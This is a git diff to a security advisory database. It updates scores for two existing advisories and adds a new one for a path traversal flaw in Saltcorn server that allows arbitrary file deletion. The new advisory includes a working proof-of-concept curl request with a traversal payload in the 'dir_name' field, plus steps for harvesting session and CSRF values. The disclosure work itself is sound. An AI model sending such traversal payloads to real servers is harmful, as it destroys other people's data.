diff --git a/advisories/github-reviewed/2022/05/GHSA-pg64-r7rr-phv8/GHSA-pg64-r7rr-phv8.json b/advisories/github-reviewed/2022/05/GHSA-pg64-r7rr-phv8/GHSA-pg64-r7rr-phv8.json index 4f99555a78b..78662373232 100644 --- a/advisories/github-reviewed/2022/05/GHSA-pg64-r7rr-phv8/GHSA-pg64-r7rr-phv8.json +++ b/advisories/github-reviewed/2022/05/GHSA-pg64-r7rr-phv8/GHSA-pg64-r7rr-phv8.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-pg64-r7rr-phv8", - "modified": "2024-04-29T09:51:39Z", + "modified": "2024-10-07T15:10:37Z", "published": "2022-05-24T16:53:02Z", "aliases": [ "CVE-2019-14433" @@ -12,6 +12,10 @@ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N" } ], "affected": [ @@ -98,6 +102,10 @@ "type": "PACKAGE", "url": "https://github.com/openstack/nova" }, + { + "type": "WEB", + "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nova/PYSEC-2019-191.yaml" + }, { "type": "WEB", "url": "https://launchpad.net/bugs/1837877" @@ -124,7 +132,7 @@ "CWE-200", "CWE-209" ], - "severity": "MODERATE", + "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2024-04-29T09:51:39Z", "nvd_published_at": "2019-08-09T19:15:00Z" diff --git a/advisories/github-reviewed/2023/10/GHSA-r2hw-74xv-4gqp/GHSA-r2hw-74xv-4gqp.json b/advisories/github-reviewed/2023/10/GHSA-r2hw-74xv-4gqp/GHSA-r2hw-74xv-4gqp.json index f39182dcebd..a3bee528285 100644 --- a/advisories/github-reviewed/2023/10/GHSA-r2hw-74xv-4gqp/GHSA-r2hw-74xv-4gqp.json +++ b/advisories/github-reviewed/2023/10/GHSA-r2hw-74xv-4gqp/GHSA-r2hw-74xv-4gqp.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-r2hw-74xv-4gqp", - "modified": "2023-10-27T20:46:48Z", + "modified": "2024-10-07T15:09:56Z", "published": "2023-10-24T19:25:24Z", "aliases": [ "CVE-2023-46128" @@ -12,6 +12,10 @@ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N" } ], "affected": [ diff --git a/advisories/github-reviewed/2024/10/GHSA-43f3-h63w-p6f6/GHSA-43f3-h63w-p6f6.json b/advisories/github-reviewed/2024/10/GHSA-43f3-h63w-p6f6/GHSA-43f3-h63w-p6f6.json new file mode 100644 index 00000000000..e71b50d6cfd --- /dev/null +++ b/advisories/github-reviewed/2024/10/GHSA-43f3-h63w-p6f6/GHSA-43f3-h63w-p6f6.json @@ -0,0 +1,72 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-43f3-h63w-p6f6", + "modified": "2024-10-07T15:10:52Z", + "published": "2024-10-07T15:10:52Z", + "aliases": [ + + ], + "summary": "Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability", + "details": "### Summary\n\nA logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`.\n\n### Details\n\n- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346\n\n```js\nrouter.post(\n \"/clean_sync_dir\",\n error_catcher(async (req, res) => {\n const { dir_name } = req.body; // [1] source\n try {\n const rootFolder = await File.rootFolder();\n const syncDir = path.join(\n rootFolder.location,\n \"mobile_app\",\n \"sync\",\n dir_name // [2]\n );\n await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink\n res.status(200).send(\"\");\n } catch (error) {\n getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`);\n res.status(400).json({ error: error.message || error });\n }\n })\n);\n```\n\n\n### PoC\n\nThe following PoC can be executed with a user with any role (`admin`, `staff`, `user`, `public`)\n\n- create a file in a folder different from where the server is started:\n```\ntouch /tmp/secret\ncat /tmp/secret\n```\n\n- log with a user and retrieve valid `connect.sid` and `_csrf` values***\n- send the following `curl` request\n```\ncurl -i -X $'POST' \\\n -H $'Host: localhost:3000' \\\n -H $'Content-Type: application/x-www-form-urlencoded' \\\n -H $'Content-Length: 93' \\\n -H $'Origin: http://localhost:3000' \\\n -H $'Connection: close' \\\n -b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \\\n --data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \\\n $'http://localhost:3000/sync/clean_sync_dir'\n```\n\n- check if the file previously created does not exist anymore:\n```\ncat /tmp/secret\ncat: /tmp/secret: No such file or directory\n```\n\n*** obtain `connect.sid` and `_csrf` values\n\nA possible way to retrieve `connect.sid` and `_csrf` values is to use the password reset functionality:\n- log in\n- open the browser developer console, go to the `Network` tab filter for `settings` request\n- visit `http://localhost:3000/auth/settings`\n- trigger the change password functionality\n- under the `Headers` and `Request` tabs, grab the `connect.sid` and `_csrf` values and replace them in the curl command \n\n### Impact\n\nArbitrary file delete\n\n### Recommended Mitigation\n\nResolve the `syncDir` and check if it starts with `rootFolder.location/mobile_app/sync`.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "@saltcorn/server" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.0.0-beta.16" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 1.0.0-beta.15" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/saltcorn/saltcorn/security/advisories/GHSA-43f3-h63w-p6f6" + }, + { + "type": "WEB", + "url": "https://github.com/saltcorn/saltcorn/commit/3c551261d0e230635774798009951fa83a07cc3a" + }, + { + "type": "PACKAGE", + "url": "https://github.com/saltcorn/saltcorn" + }, + { + "type": "WEB", + "url": "https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-22" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-10-07T15:10:52Z", + "nvd_published_at": null + } +} \ No newline at end of file